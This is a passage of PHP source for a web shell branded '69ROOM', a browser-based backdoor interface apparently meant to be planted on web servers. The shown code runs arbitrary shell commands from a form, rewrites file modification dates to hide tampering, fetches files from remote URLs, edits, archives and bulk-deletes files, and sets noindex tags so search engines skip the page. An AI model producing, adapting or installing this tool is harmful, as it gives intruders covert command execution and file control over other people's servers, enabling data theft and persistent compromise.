$target = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : '');
$input = trim((string)(isset($_POST['ts']) ? $_POST['ts'] : '')); $rec = !empty($_POST['recursive']);
if ($input===''){ $_SESSION['msg']='Change Date: empty'; return $back(); }
if (ctype_digit($input)) $ts=(int)$input; else { $ts=@strtotime($input); if($ts===false){ $_SESSION['msg']='Change Date: invalid time format'; return $back(); } }
$ok=true; mint_apply_mtime($target,$ts,$rec,$ok);
$_SESSION['msg'] = $ok ? ('Change Date OK → '.date('Y-m-d H:i:s',$ts)) : 'Change Date partially failed'; return $back();
}
case 'cmd': {
$cmd = trim((string)(isset($_POST['cmd']) ? $_POST['cmd'] : ''));
if ($cmd===''){ $_SESSION['msg']='Command is empty.'; return $back(); }
$result = run_command_all($cmd, $current); $out=(string)$result['out'];
if (strlen($out)>1024*1024) $out = substr($out,0,1024*1024)."\n[output truncated]";
$_SESSION['cmd_result']=array('cmd'=>$cmd,'method'=>$result['method'],'code'=>$result['code'],'out'=>$out); return $back();
}
case 'move': {
$srcName = (string)(isset($_POST['src']) ? $_POST['src'] : '');
$dstDir = (string)(isset($_POST['dst']) ? $_POST['dst'] : '');
$srcFull = safeJoin($current, $srcName);
if ($srcName==='' || !file_exists($srcFull)) { $_SESSION['msg']='Move failed: source missing'; return $back(); }
if ($dstDir==='') { $_SESSION['msg']='Move failed: destination empty'; return $back(); }
if (!is_dir($dstDir)) { $_SESSION['msg']='Move failed: destination is not a directory'; return $back(); }
$dstFull = safeJoin($dstDir, basename($srcName));
if (@realpath($srcFull)===@realpath($dstFull)) { $_SESSION['msg']='Move skipped (same location)'; return $back(); }
$ok = @rename($srcFull, $dstFull);
$_SESSION['msg'] = $ok ? 'Move OK' : 'Move failed';
return $back();
}
case 'zip': {
$items = isset($_POST['items']) ? $_POST['items'] : array();
$name = trim((string)(isset($_POST['zipname']) ? $_POST['zipname'] : ''));
if (!is_array($items) || empty($items)) { $_SESSION['msg']='Zip failed: nothing selected'; return $back(); }
if ($name==='') $name = 'archive-'.date('Ymd-His').'.zip';
$archivePath = safeJoin($current, $name);
$done=false; $err='';
if (class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($archivePath, ZipArchive::CREATE|ZipArchive::OVERWRITE)===true) {
foreach ($items as $it) {
$full = safeJoin($current, $it);
if (is_dir($full)) { $itClean = rtrim($it, DIRECTORY_SEPARATOR); addDirToZip($zip, $full, $itClean); }
elseif (is_file($full)) { $zip->addFile($full, basename($it)); }
}
$zip->close(); $done=true;
} else { $err='ZipArchive open failed'; }
}
if (!$done) {
if (class_exists('PharData')) {
try {
$tarName = preg_replace('~\.zip$~i', '.tar', $archivePath);
$phar = new PharData($tarName);
foreach ($items as $it) {
$full = safeJoin($current, $it);
if (is_dir($full)) { $phar->addEmptyDir(basename($it)); addDirToPhar($phar, $full, basename($it)); }
elseif (is_file($full)) { $phar->addFile($full, basename($it)); }
}
unset($phar);
$_SESSION['msg']='ZipArchive not available; created TAR instead: '.basename($tarName);
return $back();
} catch (Exception $e) { $err = 'TAR fallback failed: '.$e->getMessage(); }
} else { $err = ($err ? $err.'; ' : '').'No ZipArchive nor PharData available'; }
}
$_SESSION['msg'] = $done ? ('Archive created: '.basename($archivePath)) : ('Zip failed: '.$err);
return $back();
}
case 'unzip': {
$file = safeJoin($current, isset($_POST['file']) ? $_POST['file'] : '');
if (!is_file($file)) { $_SESSION['msg']='Unzip failed: file not found'; return $back(); }
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
$ok=false; $err='';
if ($ext==='zip' && class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($file)===true) { $ok = $zip->extractTo($current); $zip->close(); if(!$ok) $err='Zip extractTo failed'; }
else { $err='Zip open failed'; }
} else {
try {
if (class_exists('PharData') && preg_match('~\.(tar|tar\.gz|tar\.bz2|tar\.xz)$~i', $file)) {
$phar = new PharData($file);
$phar->extractTo($current, null, true);
$ok=true;
} else { $err='Unsupported archive type or PharData not available'; }
} catch (Exception $e) { $err=$e->getMessage(); }
}
$_SESSION['msg'] = $ok ? 'Unzip OK' : ('Unzip failed: '.$err);
return $back();
}
}
}
/* ==== Helpers for ZIP/TAR recursion ==== */
function addDirToZip($zip, $dir, $local){
$dir = rtrim($dir, DIRECTORY_SEPARATOR);
if (method_exists($zip, 'addEmptyDir')) $zip->addEmptyDir($local);
$h = @opendir($dir); if(!$h) return;
while(false!==($e=readdir($h))){
if($e==='.'||$e==='..') continue;
$full = $dir.DIRECTORY_SEPARATOR.$e;
$localPath = $local.'/'.basename($e);
if (is_dir($full)) addDirToZip($zip, $full, $localPath);
elseif (is_file($full) && method_exists($zip,'addFile')) $zip->addFile($full, $localPath);
}
closedir($h);
}
function addDirToPhar($phar, $dir, $local){
$dir = rtrim($dir, DIRECTORY_SEPARATOR);
$h = @opendir($dir); if(!$h) return;
while(false!==($e=readdir($h))){
if($e==='.'||$e==='..') continue;
$full = $dir.DIRECTORY_SEPARATOR.$e;
$localPath = $local.'/'.basename($e);
if (is_dir($full)) { if (method_exists($phar,'addEmptyDir')) $phar->addEmptyDir($localPath); addDirToPhar($phar,$full,$localPath); }
elseif (is_file($full) && method_exists($phar,'addFile')) { $phar->addFile($full, $localPath); }
}
closedir($h);
}
/* =========================
* VIEW MODEL & RENDER
* ========================= */
$items = listDirEntries($current);
$files=array(); $dirs=array();
foreach($items as $it){ $full=$current.DIRECTORY_SEPARATOR.$it; if(is_dir($full)) $dirs[]=$it; else $files[]=$it; }
$hasNatural=defined('SORT_NATURAL'); $hasFlagCase=defined('SORT_FLAG_CASE');
if ($hasNatural){ sort($dirs, $hasFlagCase?(SORT_NATURAL|SORT_FLAG_CASE):SORT_NATURAL); sort($files, $hasFlagCase?(SORT_NATURAL|SORT_FLAG_CASE):SORT_NATURAL); }
else { natcasesort($dirs); $dirs=array_values($dirs); natcasesort($files); $files=array_values($files); }
$up = dirname($current); if ($up===$current) $up=$current;
$isEdit = ((((isset($_GET['a']) ? $_GET['a'] : '') === 'edit')) && isset($_GET['f'])) ? safeJoin($current, $_GET['f']) : null;
$editFile = ($isEdit && is_file($isEdit)) ? $isEdit : null;
$isView = ((((isset($_GET['a']) ? $_GET['a'] : '') === 'view')) && isset($_GET['f'])) ? safeJoin($current, $_GET['f']) : null;
$viewFile = ($isView && is_file($isView)) ? $isView : null;
$modeParam = isset($_GET['mode']) ? $_GET['mode'] : 'auto';
$viewMode = in_array($modeParam, array('txt','b64','auto'), true) ? $modeParam : 'auto';
$csrf = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : '';
$yearNow = date('Y');
?>
<!doctype html>
<html lang="en" class="dark">
<head>
<meta charset="utf-8">
<title>🍃 69ROOM 🍃</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex,nofollow,noarchive,nosnippet,noimageindex">
<meta name="googlebot" content="noindex,nofollow,noarchive,nosnippet,noimageindex">
<script src="https://cdn.tailwindcss.com"></script>
<script>
tailwind.config = { darkMode:'class', theme:{ extend:{
fontFamily:{ ui:['JetBrains Mono','Fira Code','Ubuntu','ui-monospace','SFMono-Regular','Menlo','Monaco','Consolas','monospace'] },
colors:{
canvas:{DEFAULT:'#0a0e0c',light:'#0a0e0c',surface:'rgba(10,15,13,.92)'},
mint:{50:'#e6faf3',100:'#ccf5e7',200:'#99ebcf',300:'#66e0b7',400:'#33d69f',500:'#3EB489',600:'#2e8f6c',700:'#1f6b4f',800:'#104732',900:'#082316'},
accent:'#3EB489'
},
boxShadow:{
card:'0 12px 40px rgba(0,0,0,.5), inset 0 1px 0 rgba(62,180,137,.08)',
glow:'0 8px 30px rgba(62,180,137,.25)',
'glow-intense':'0 0 40px rgba(62,180,137,.4)'
},
borderRadius:{ xl2:'20px' },
animation:{ 'pulse-slow':'pulse 3s cubic-bezier(0.4,0,0.6,1) infinite' }
} } }
</script>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;700&display=swap" rel="stylesheet">
<!-- CodeMirror 5 -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/theme/dracula.min.css">
<style>
.CodeMirror{ border:1px solid rgba(62,180,137,.25); border-radius:14px; background:#0a0e0c; color:#d1d5db; font-family:'JetBrains Mono','Fira Code',monospace; }
.cm-s-dracula .CodeMirror-gutters{ background:#0a0e0c; border-right:1px solid rgba(62,180,137,.2); }
*{scrollbar-width:thin;scrollbar-color:#3EB489 #1a2520;}
::-webkit-scrollbar{width:8px;height:8px;}
::-webkit-scrollbar-track{background:#1a2520;border-radius:10px;}
::-webkit-scrollbar-thumb{background:#3EB489;border-radius:10px;}
::-webkit-scrollbar-thumb:hover{background:#2e8f6c;}
html,body{height:100%}
body{font-family:'JetBrains Mono','Fira Code','Ubuntu',ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;}
.shell{min-height:100vh;background:
radial-gradient(1200px 600px at 20% -10%, rgba(62,180,137,.08), transparent 60%),
radial-gradient(900px 500px at 90% 0%, rgba(62,180,137,.06), transparent 60%),
#0a0e0c; display:grid; grid-template-rows:auto 1fr auto;}
.card{background:rgba(10,15,13,.92);border:1px solid rgba(62,180,137,.2);border-radius:20px;box-shadow:0 12px 40px rgba(0,0,0,.5), inset 0 1px 0 rgba(62,180,137,.08);backdrop-filter:blur(12px);}
.field{border:1px solid rgba(62,180,137,.25);border-radius:12px;padding:.6rem .85rem;width:100%;background:#0a0e0c;color:#d1d5db;transition:all .2s;}
.field:focus{outline:none;box-shadow:0 0 0 4px rgba(62,180,137,.25);border-color:#3EB489}
.btn{background:linear-gradient(180deg,#3EB489,#2e8f6c);color:#e6faf3;border-radius:12px;padding:.55rem .85rem;font-weight:600;font-size:.875rem;line-height:1.25rem;display:inline-flex;align-items:center;justify-content:center;transition:transform .1s, box-shadow .2s, filter .2s; box-shadow:0 8px 24px rgba(62,180,137,.2);letter-spacing:-0.01em;}
.btn:hover{filter:brightness(1.1);box-shadow:0 12px 32px rgba(62,180,137,.35);transform:translateY(-1px);}
.btn:active{transform:translateY(0.5px);}
.btn-ghost{background:transparent;border:1px solid rgba(62,180,137,.4);color:#d1d5db;}
.btn-ghost:hover{background:rgba(62,180,137,.1);border-color:#3EB489;}
.btn-xs{padding:.3rem .6rem;font-size:.75rem;border-radius:8px}.btn-sm{padding:.4rem .7rem;font-size:.8125rem;border-radius:10px}.btnw{min-width:100px}
.tbl thead th{position:sticky;top:0;background:#0a0e0cf2;backdrop-filter:blur(8px);z-index:1;color:#a7f3d0;font-weight:600;text-transform:uppercase;font-size:.7rem;letter-spacing:.5px;}
.tbl tbody tr:nth-child(even){background:rgba(62,180,137,.03)}
.tbl tbody tr.hoverable:hover{background:rgba(62,180,137,.12);box-shadow:inset 0 0 0 9999px rgba(62,180,137,.06)}
.tbl tbody tr.hoverable{transition:background .15s ease}
.ico{width:20px;height:20px;display:inline-block;vertical-align:text-bottom;color:#6ee7b7}
.mono{font-family:'JetBrains Mono','Fira Code',ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace}
.badge-small{font-size:10px;padding:.15rem .5rem;border-radius:999px;background:#0f1a15;color:#a7f3d0;border:1px solid rgba(62,180,137,.4);text-transform:uppercase;letter-spacing:.3px;}
.row-actions{display:grid;grid-template-columns:repeat(8, minmax(95px, auto));gap:.4rem;justify-items:start}
@media (max-width:1200px){ .row-actions{grid-template-columns:repeat(3, minmax(95px, auto));} }
.tablewrap{height:calc(100vh - 340px);overflow:auto}
@media (max-height:800px){ .tablewrap{height:calc(100vh - 380px)} }
.drop-hint{border:2px dashed rgba(62,180,137,.6); background:rgba(62,180,137,.08);box-shadow:0 0 30px rgba(62,180,137,.15);}
.droptarget{outline:3px solid #3EB489; outline-offset:-3px;background:rgba(62,180,137,.1) !important;}
/* Command editors */
.cm-cmd-input { font-size:13px; line-height:1.5; }
.cm-cmd-input .CodeMirror { width:100% !important; height:44px !important; }
.cm-cmd-input .CodeMirror-scroll { height:44px !important; }
.cm-cmd-output { font-size:13px; line-height:1.5; }
.cm-cmd-output .CodeMirror { width:100% !important; }
.cm-cmd-output .CodeMirror-scroll { height:340px !important; }
.footer-line{height:2px;background:linear-gradient(90deg,rgba(62,180,137,0),rgba(62,180,137,.6),rgba(62,180,137,0));}
/* Simple text tabs */
.simple-tabs a{ color:#a7f3d0; font-weight:500; transition:color .15s; }
.simple-tabs a:hover{ color:#ffffff; }
.simple-tabs .active{ color:#3EB489; border-bottom:3px solid #3EB489; font-weight:700; }
.subtabs a{ color:#a7f3d0; font-size:11px; text-transform:uppercase; letter-spacing:.3px; }
.subtabs .active{ color:#3EB489; border-bottom:2px solid #3EB489; }
/* Dir table tweaks */
#tableCard, #tableCard * { user-select: text; -webkit-user-select: text; }
#dirTable a, #dirTable a:visited { color:#d1d5db !important; }
#dirTable a:hover { color:#3EB489 !important; }
.glow-text{text-shadow:0 0 20px rgba(62,180,137,.5);}
</style>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/codemirror.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/mode/loadmode.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/meta.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/edit/closebrackets.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/edit/matchbrackets.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/selection/active-line.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/addon/display/placeholder.min.js"></script>
</head>
<body class="shell text-gray-200" id="bodyRoot">
<header class="sticky top-0 z-20 w-full border-b border-mint-800/40 bg-[#0a0e0c]/80 backdrop-blur-xl">
<div class="w-full px-6 py-3 grid grid-cols-[auto_1fr_auto] items-center gap-3">
<!-- LEFT: logo/title -->
<div class="flex items-center gap-3 shrink-0">
<div class="text-2xl animate-pulse-slow"><?php echo svgIcon('skull', 'ico'); ?></div>
<div>
<div class="text-xl font-bold tracking-tight glow-text" style="background:linear-gradient(135deg,#3EB489,#6ee7b7);-webkit-background-clip:text;background-clip:text;color:transparent">
<a href="?">🍃69ROOM🍃</a>
</div>
<div class="text-[10px] text-mint-400/60 uppercase tracking-wider">PHP <?php echo h(PHP_VERSION); ?></div>
</div>
</div>
<!-- CENTER spacer -->
<div></div>
<!-- RIGHT: Path + Filter + Logout -->
<div class="flex items-center gap-2 shrink-0">
<!-- PATH -->
<div class="hidden md:inline-flex items-center gap-2 rounded-xl border border-mint-800/40 bg-[#0a0e0c]/80 px-3 h-10">
<span class="text-mint-400/70 text-xs uppercase tracking-wider">Path:</span>
<input
id="pathInput"
type="text"
readonly
value="<?php echo h($current); ?>"
size="<?php echo max(16, min(160, strlen($current))); ?>"
class="mono bg-transparent outline-none text-sm text-gray-200 w-auto max-w-[45vw] truncate h-8 leading-8"
title="<?php echo h($current); ?>"
onfocus="this.select()"
/>
<button
id="copyPathBtn"
type="button"
class="ml-1 inline-flex items-center justify-center w-8 h-8 rounded-lg border border-mint-800/40 hover:border-mint-500 hover:bg-mint-900/30 transition-all"
title="Copy path"
aria-label="Copy path"
>
<svg id="copyIcon" viewBox="0 0 24 24" class="w-4 h-4 text-mint-400" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<rect x="9" y="9" width="13" height="13" rx="2" ry="2"></rect>
<path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"></path>
</svg>
<svg id="checkIcon" viewBox="0 0 24 24" class="w-4 h-4 text-mint-400 hidden" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M20 6L9 17l-5-5"></path>
</svg>
</button>
</div>
<!-- FILTER -->
<div class="hidden md:inline-flex items-center gap-2 rounded-xl border border-mint-800/40 bg-[#0a0e0c]/80 px-3 h-10">
<?php echo svgIcon('search','ico'); ?>
<input
id="searchBox"
type="search"
placeholder="Filter (Ctrl+/)"
class="bg-transparent text-sm outline-none placeholder:text-mint-400/40 w-56 h-8 leading-8"
oninput="filterRows()"
>
</div>
<!-- Logout -->
<form method="post" action="?a=logout&p=<?php echo rawurlencode($current); ?>">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<button class="btn btn-sm !px-5" type="submit">⟲ Exit</button>
</form>
</div>
</div>
</header>
<main class="w-full px-6 py-5 grid grid-cols-12 gap-5">
<!-- SIDEBAR -->
<aside class="col-span-12 xl:col-span-3 space-y-4">
<?php if (!empty($_SESSION['msg'])): ?>
<div class="rounded-xl border border-mint-800/60 bg-mint-900/20 text-mint-100 px-4 py-3 text-sm animate-pulse">
<?php echo h($_SESSION['msg']); unset($_SESSION['msg']); ?>
</div>
<?php endif; ?>
<section class="card p-4">
<h2 class="font-semibold mb-3 text-mint-300 uppercase tracking-wider text-xs flex items-center gap-2"><span class="w-1 h-4 bg-mint-500 rounded-full"></span>Navigation</h2>
<div class="mb-2 text-xs text-mint-400/70 uppercase tracking-wider">Breadcrumbs</div>
<div class="flex flex-wrap gap-1 text-sm">
<?php foreach (breadcrumbs($current) as $i => $crumb): list($name, $path) = $crumb; ?>
<?php if ($i) echo '<span class="text-mint-700">/</span>'; ?>
<a href="?p=<?php echo rawurlencode($path); ?>" class="inline-flex items-center gap-1 px-2 py-1.5 rounded-lg border border-mint-800/30 bg-mint-900/20 text-mint-200 hover:border-mint-500 hover:bg-mint-900/40 transition-all text-xs"><?php echo h($name); ?></a>
<?php endforeach; ?>
</div>
<hr class="my-4 border-mint-800/30">
<form method="get" class="space-y-2">
<label class="text-xs text-mint-400/70 uppercase tracking-wider">Change Path</label>
<input type="text" name="p" class="field mono text-sm" placeholder="/home/user" value="<?php echo h($current); ?>">
<div class="flex gap-2">
<button class="btn btnw text-sm" type="submit">Go</button>
<a class="btn btnw text-sm" href="?">CWD</a>
</div>
</form>
</section>
<!-- CREATE + TABS -->
<section class="card p-4" id="createCard">
<h2 class="font-semibold mb-3 text-mint-300 uppercase tracking-wider text-xs flex items-center gap-2"><span class="w-1 h-4 bg-mint-500 rounded-full"></span>Create</h2>
<!-- Simple text tabs -->
<div class="simple-tabs flex flex-wrap items-center gap-4 mb-3 text-sm">
<a href="#" data-target="tab-create-file" class="tablink pb-1">File</a>
<a href="#" data-target="tab-create-folder" class="tablink pb-1">Folder</a>
<a href="#" data-target="tab-upload" class="tablink pb-1">Upload</a>
<a href="#" data-target="tab-run-cmd" class="tablink pb-1">Shell</a>
</div>
<hr class="my-3 border-mint-800/30">
<!-- Sub tabs for Upload -->
<div class="subtabs flex flex-wrap items-center gap-4 mb-3" id="uploadSubtabs" style="display:none">
<a href="#" data-target="sub-upload-local" class="subtablink pb-1">Local</a>
<a href="#" data-target="sub-upload-url" class="subtablink pb-1">URL</a>
</div>
<hr class="my-3 border-mint-800/20" id="uploadSubtabsHr" style="display:none">
<!-- TAB: Create File -->
<div id="tab-create-file" class="tabcontent" style="display:none">
<form method="post" action="?a=new-file&p=<?php echo rawurlencode($current); ?>" class="space-y-3">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="tab" value="create-file">
<label class="text-xs text-mint-400/70 uppercase tracking-wider">New File</label>
<input type="text" name="name" class="field mono text-sm" placeholder="newfile.txt" required>
<textarea name="content" class="field mono text-sm" rows="3" placeholder="(Optional) initial content..."></textarea>
<button class="btn w-full" type="submit">➕ Create File</button>
</form>
</div>
<!-- TAB: Create Folder -->
<div id="tab-create-folder" class="tabcontent" style="display:none">
<form method="post" action="?a=new-dir&p=<?php echo rawurlencode($current); ?>" class="space-y-3">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="tab" value="create-folder">
<label class="text-xs text-mint-400/70 uppercase tracking-wider">New Folder</label>
<input type="text" name="name" class="field mono text-sm" placeholder="NewFolder" required>
<button class="btn w-full" type="submit">📁 Create Folder</button>
</form>
</div>
<!-- TAB: Upload -->
<div id="tab-upload" class="tabcontent" style="display:none">
<div id="sub-upload-local">
<form method="post" enctype="multipart/form-data" action="?a=upload&p=<?php echo rawurlencode($current); ?>" class="space-y-3">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="tab" value="upload">
<input type="hidden" name="subtab" value="local">
<input type="file" name="files[]" multiple class="block w-full text-sm file:mr-3 file:rounded-lg file:border file:border-mint-800/40 file:px-4 file:py-2 file:bg-mint-900/30 file:text-mint-200 hover:file:bg-mint-900/50 file:transition-all">
<button class="btn w-full" type="submit">☁️ Upload Files</button>
<div class="text-[10px] text-mint-400/50 uppercase tracking-wider">Drag & drop anywhere on page</div>
</form>
</div>
<div id="sub-upload-url" style="display:none">
<form method="post" action="?a=url-upload&p=<?php echo rawurlencode($current); ?>" class="space-y-3">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="tab" value="upload">
<input type="hidden" name="subtab" value="url">
<input type="url" name="url" class="field text-sm" placeholder="https://example.com/file.txt" required>
<input type="text" name="filename" class="field text-sm" placeholder="File name (optional)">
<button class="btn w-full" type="submit">🌐 Fetch from URL</button>
</form>
</div>
</div>
<!-- TAB: Run Command -->
<div id="tab-run-cmd" class="tabcontent" style="display:none">
<form method="post" action="?a=cmd&p=<?php echo rawurlencode($current); ?>" class="space-y-3" id="cmdForm">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="tab" value="run-cmd">
<label class="text-xs text-mint-400/70 uppercase tracking-wider">Run Command</label>
<textarea id="cmdTA" name="cmd" class="field mono text-sm" rows="1"></textarea>
<div class="flex gap-2 items-center">
<button class="btn" type="submit">⚡ Execute</button>
<span class="text-[10px] text-mint-400/40 uppercase tracking-wider">Ctrl+Enter</span>
</div>
</form>
<?php if (!empty($_SESSION['cmd_result'])): $cr = $_SESSION['cmd_result']; unset($_SESSION['cmd_result']); ?>
<hr class="my-4 border-mint-800/30">
<div class="mt-3">
<details open class="card p-3 !bg-mint-900/10">
<summary class="cursor-pointer font-medium text-mint-300 text-sm">
Output × <span class="mono text-mint-200"><?php echo h($cr['cmd']); ?></span>
<span class="ml-2 text-[10px] text-mint-400/50 uppercase">via <?php echo h($cr['method']); ?> [<?php echo h((string)$cr['code']); ?>]</span>
</summary>
<pre id="cmdOutPre" class="mt-3 p-3 bg-black/40 rounded-lg overflow-auto text-xs mono border border-mint-800/30" style="max-height: 340px;"><?php echo h($cr['out']); ?></pre>
</details>
</div>
<?php endif; ?>
</div>
</section>
</aside>
<!-- MAIN: Editor / Preview panels + Table -->
<section class="col-span-12 xl:col-span-9 flex flex-col gap-4">
<?php if ($editFile): ?>
<?php
$autoMode = ($viewMode === 'auto');
if ($autoMode) { $viewMode = isTextFile($editFile) ? 'txt' : 'b64'; }
$rawContent = @file_get_contents($editFile); if ($rawContent === false) { $rawContent = ''; }
$display = ($viewMode === 'b64') ? base64_encode($rawContent) : $rawContent;
?>
<div class="card p-4" id="editPanelWrap">
<details id="editPanel" open>
<summary class="cursor-pointer font-medium flex items-center justify-between">
<div class="flex items-center gap-2">
<span class="text-mint-300 uppercase tracking-wider text-xs">Edit File</span>
<span class="text-[10px] text-mint-400/50"><?php echo h(humanSize((int)@filesize($editFile))); ?></span>
</div>
<div class="flex items-center gap-2">
<button type="button" class="btn btn-xs btn-ghost" onclick="document.getElementById('editPanel').open=false">✕ Close</button>
</div>
</summary>
<div class="mt-3 text-xs text-mint-400/70 mono truncate"><?php echo h($editFile); ?></div>
<hr class="my-3 border-mint-800/30">
<div class="mt-2 flex gap-2">
<a class="inline-block px-3 py-1.5 rounded-lg border text-xs font-medium transition-all <?php echo $viewMode==='txt'?'bg-mint-600 text-black border-mint-500':'border-mint-800/40 bg-mint-900/20 text-mint-200 hover:bg-mint-900/40'; ?>" href="?a=edit&f=<?php echo rawurlencode(basename($editFile)); ?>&p=<?php echo rawurlencode($current); ?>&mode=txt">Text</a>
<a class="inline-block px-3 py-1.5 rounded-lg border text-xs font-medium transition-all <?php echo $viewMode==='b64'?'bg-mint-600 text-black border-mint-500':'border-mint-800/40 bg-mint-900/20 text-mint-200 hover:bg-mint-900/40'; ?>" href="?a=edit&f=<?php echo rawurlencode(basename($editFile)); ?>&p=<?php echo rawurlencode($current); ?>&mode=b64">Base64</a>
</div>
<form method="post" action="?a=edit-save&p=<?php echo rawurlencode($current); ?>" class="mt-3" id="editForm">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<input type="hidden" name="file" value="<?php echo h(basename($editFile)); ?>">
<input type="hidden" name="mode" value="<?php echo h($viewMode); ?>">
<?php if ($viewMode === 'txt'): ?>
<textarea id="editor" name="content"><?php echo h($display); ?></textarea>
<?php else: ?>
<textarea name="content" class="w-full h-72 border border-mint-800/40 rounded-xl p-3 mono bg-[#0a0e0c] text-gray-200 text-sm" spellcheck="false"><?php echo h($display); ?></textarea>
<div class="mt-2 text-[10px] text-mint-400/50 uppercase tracking-wider">Base64 mode</div>
<?php endif; ?>
<div class="mt-4 flex flex-wrap gap-2 items-center">
<button class="btn" type="submit">💾 Save</button>
<button class="btn btn-ghost" type="button" onclick="document.getElementById('editPanel').open=false">Close</button>
<a class="btn btn-ghost" href="?p=<?php echo rawurlencode($current); ?>">Reset</a>
</div>
</form>
</details>
</div>
<?php endif; ?>
<?php if ($viewFile): ?>
<?php
$vf_size = (int)@filesize($viewFile);
$vf_ext = strtolower(pathinfo($viewFile, PATHINFO_EXTENSION));
$is_img = in_array($vf_ext, array('jpg','jpeg','png','gif','webp','bmp','svg'));
$is_txt = isTextFile($viewFile);
$preview_max = 512 * 1024;
$txt = '';
if ($is_txt) {
$txt = @file_get_contents($viewFile, false, null, 0, $preview_max);
if ($txt === false) $txt = '';
}
?>
<div class="card p-4" id="previewWrap">
<details id="previewPanel" open>
<summary class="cursor-pointer font-medium flex items-center justify-between">
<div class="flex items-center gap-2">
<span class="text-mint-300 uppercase tracking-wider text-xs">Preview</span>
<span class="mono text-mint-200"><?php echo h(basename($viewFile)); ?></span>
<span class="text-[10px] text-mint-400/50"><?php echo h(humanSize($vf_size)); ?></span>
</div>
<div class="flex items-center gap-2">
<button type="button" class="btn btn-xs btn-ghost" onclick="document.getElementById('previewPanel').open=false">✕ Close</button>
</div>
</summary>
<div class="mt-3 text-xs text-mint-400/70 mono truncate"><?php echo h($viewFile); ?></div>
<hr class="my-3 border-mint-800/30">
<div class="mt-3">
<?php if ($is_img): ?>
<img src="?a=raw&f=<?php echo rawurlencode(basename($viewFile)); ?>&p=<?php echo rawurlencode($current); ?>" alt="preview" class="max-w-full rounded-xl border border-mint-800/40" style="max-height:480px;object-fit:contain;">
<?php elseif ($is_txt): ?>
<pre id="previewPre" class="p-3 bg-black/40 rounded-xl overflow-auto text-sm mono border border-mint-800/30" style="max-height:480px;"><?php echo h($txt); ?></pre>
<?php if ($vf_size > $preview_max): ?>
<div class="mt-2 text-[10px] text-mint-400/50 uppercase tracking-wider">Showing <?php echo h(humanSize($preview_max)); ?> of <?php echo h(humanSize($vf_size)); ?></div>
<?php endif; ?>
<?php else: ?>
<div class="rounded-xl border border-mint-800/40 p-4 bg-mint-900/10">
<div class="text-sm text-mint-200">Cannot preview this file type.</div>
<div class="mt-3 flex gap-2">
<a class="btn btn-sm" href="?a=download&f=<?php echo rawurlencode(basename($viewFile)); ?>&p=<?php echo rawurlencode($current); ?>">Download</a>
<a class="btn btn-sm btn-ghost" href="?a=edit&f=<?php echo rawurlencode(basename($viewFile)); ?>&p=<?php echo rawurlencode($current); ?>">Edit</a>
</div>
</div>
<?php endif; ?>
</div>
</details>
</div>
<?php endif; ?>
<div class="card p-4 flex flex-col" id="tableCard">
<div class="flex items-center justify-between mb-3">
<h2 class="font-semibold text-mint-300 uppercase tracking-wider text-xs flex items-center gap-2"><span class="w-1 h-4 bg-mint-500 rounded-full"></span>Directory Contents</h2>
<div class="text-[10px] text-mint-400/50 uppercase tracking-wider">Dirs: <?php echo count($dirs); ?> × Files: <?php echo count($files); ?></div>
</div>
<form method="post" action="?a=mass-delete&p=<?php echo rawurlencode($current); ?>" class="flex-1 flex flex-col" id="bulkDeleteForm">
<input type="hidden" name="csrf" value="<?php echo h($csrf); ?>">
<div class="mb-3 flex flex-wrap gap-2">
<button class="btn btn-sm" type="submit" onclick="return confirm('Delete all selected items?')">🗑️ Delete Selected</button>
<button class="btn btn-sm btn-ghost" type="button" onclick="selectAll(true)">Select All</button>
<button class="btn btn-sm btn-ghost" type="button" onclick="selectAll(false)">Select None</button>
<div class="hidden md:flex items-center gap-2 ml-auto text-[10px] text-mint-400/50 uppercase tracking-wider">
<span>Sort:</span>
<button type="button" class="btn btn-xs btn-ghost !px-2" onclick="sortBy('name')">Name</button>
<button type="button" class="btn btn-xs btn-ghost !px-2" onclick="sortBy('size')">Size</button>
<button type="button" class="btn btn-xs btn-ghost !px-2" onclick="sortBy('mtime')">Modified</button>
</div>
<!-- Toggle drag-to-move -->
<label class="flex items-center gap-2 text-[10px] text-mint-400/70 uppercase tracking-wider ml-2">
<input id="dragToggle" type="checkbox" class="accent-mint-500 w-4 h-4 rounded">
Drag to Move
</label>
</div>
<hr class="mb-3 border-mint-800/30">
<div class="tablewrap overflow-x-auto rounded-xl border border-mint-800/40 flex-1" id="dropZone">
<table id="dirTable" class="tbl min-w-full text-sm">
<thead class="text-left">
<tr>
